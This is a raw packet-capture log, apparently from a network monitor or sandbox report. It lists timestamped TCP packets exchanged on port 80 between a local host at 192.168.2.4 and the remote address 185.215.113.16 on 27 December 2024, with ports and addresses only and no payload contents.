Dec 27, 2024 08:45:23.179852962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.193325996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.193341017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.193396091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.193625927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.193682909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.193717957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.194325924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.194396019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.194462061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.195014954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.195120096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.195158005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.195736885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.195787907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.195862055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.196455002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.196490049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.196563959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.197189093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.197232962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.197278023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.197890997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.197937012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.197999954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.198615074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.198652029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.198662996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.199321032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.199378967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.199420929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.226681948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.253431082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.351171017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.351248026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.351417065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.351463079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.351547956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.351648092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.352112055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.352235079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.352272034 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.352816105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.352948904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.353058100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.353550911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.353669882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.353710890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.354259968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.354387045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.354484081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.354967117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.355087996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.355123043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.355674028 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.355798006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.355850935 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.356409073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.356511116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.356750965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.357135057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.357225895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.357261896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.357826948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.357934952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.358041048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.358551025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.358663082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.358705997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.359253883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.359319925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.359360933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.359955072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.360080957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.360156059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.360671043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.360735893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.360780954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.361394882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.361519098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.361764908 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.362152100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.362222910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.362255096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.362824917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.362943888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.363068104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.363534927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.363662958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.363699913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.364274979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.364398956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.364531040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.364970922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.365087032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.365120888 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.365684032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.365823984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.365858078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.366406918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.366516113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.366553068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.367116928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.367234945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.367691994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.367830992 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.367892027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.367960930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.368547916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.368659973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.368781090 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.369287014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.369421959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.369476080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.369977951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.370081902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.370167971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.370706081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.370804071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.370837927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.371488094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.371506929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.371632099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.372126102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.372256994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.372293949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.372874975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.372997999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.373153925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.373558044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.373625040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.373660088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.374273062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.374408007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.374444008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.374655008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.374959946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.375066996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.375118971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.375706911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.375873089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.376427889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.376478910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.376548052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.376588106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.377137899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.377230883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.377810955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.377856016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.377888918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.377921104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.378544092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.378664017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.378710985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.379246950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.379373074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.379970074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.380019903 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.380069017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.380106926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.380686045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.380812883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.381364107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.381413937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.386295080 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.387434006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.394895077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.395061016 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.395119905 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.395121098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.395154953 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.395255089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.395839930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.395962954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.396011114 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.396636009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.396682978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.396691084 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.397320986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.397396088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.397439957 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.398011923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.398047924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.398114920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.398719072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.398809910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.398854971 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.399449110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.399492979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.399523973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.400119066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.400265932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.400316000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.400854111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.400901079 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.400943041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.444000006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.552803993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.552820921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.552895069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.552927971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.553009033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.553623915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.553659916 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.553726912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.553762913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.554372072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.554478884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.555058002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.555108070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.555145025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.555180073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.555761099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.555866003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.556499958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.556551933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.556700945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.557192087 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.557240009 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.557277918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.557315111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.557904959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.558017969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.558398008 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.558650017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.558741093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.558913946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.559365034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.559464931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.559533119 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.560072899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.560193062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.560770988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.560801029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.560864925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.560904026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.561496019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.561604977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.561638117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.562194109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.562258005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.562299013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.562935114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.563086987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.563131094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.563632965 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.563736916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.564356089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.564407110 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.564477921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.564511061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.565069914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.565151930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.565291882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.565778971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.565877914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.566493034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.566540956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.566602945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.566638947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.567200899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.567348003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.567384005 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.567939997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.568152905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.568188906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.568630934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.568722963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.569361925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.569381952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.569482088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.569721937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.570286036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.570372105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.570409060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.570791006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.570873976 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.570935011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.571532011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.571697950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.571741104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.572253942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.572304964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.572945118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.572994947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.573081017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.573118925 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.573698997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.573858023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.574362040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.574409962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.574455023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.574496031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.575057030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.575161934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.575198889 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.575779915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.575908899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.575954914 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.576541901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.576595068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.576652050 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.577192068 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.577292919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.577588081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.577888012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.578010082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.578057051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.578639984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.578773022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.579040051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.579344988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.579448938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.580041885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.580100060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.580138922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.580177069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.580748081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.580867052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.581290960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.581463099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.581588030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.582187891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.582233906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.582323074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.582360029 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.583044052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.596242905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.596312046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.596328974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.596575022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.596710920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.596772909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.597239971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.597281933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.597320080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.597950935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.597986937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 27, 2024 08:45:23.598026037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 27, 2024 08:45:23.598689079 CET	80	49744	185.215.113.16	192.168.2.4
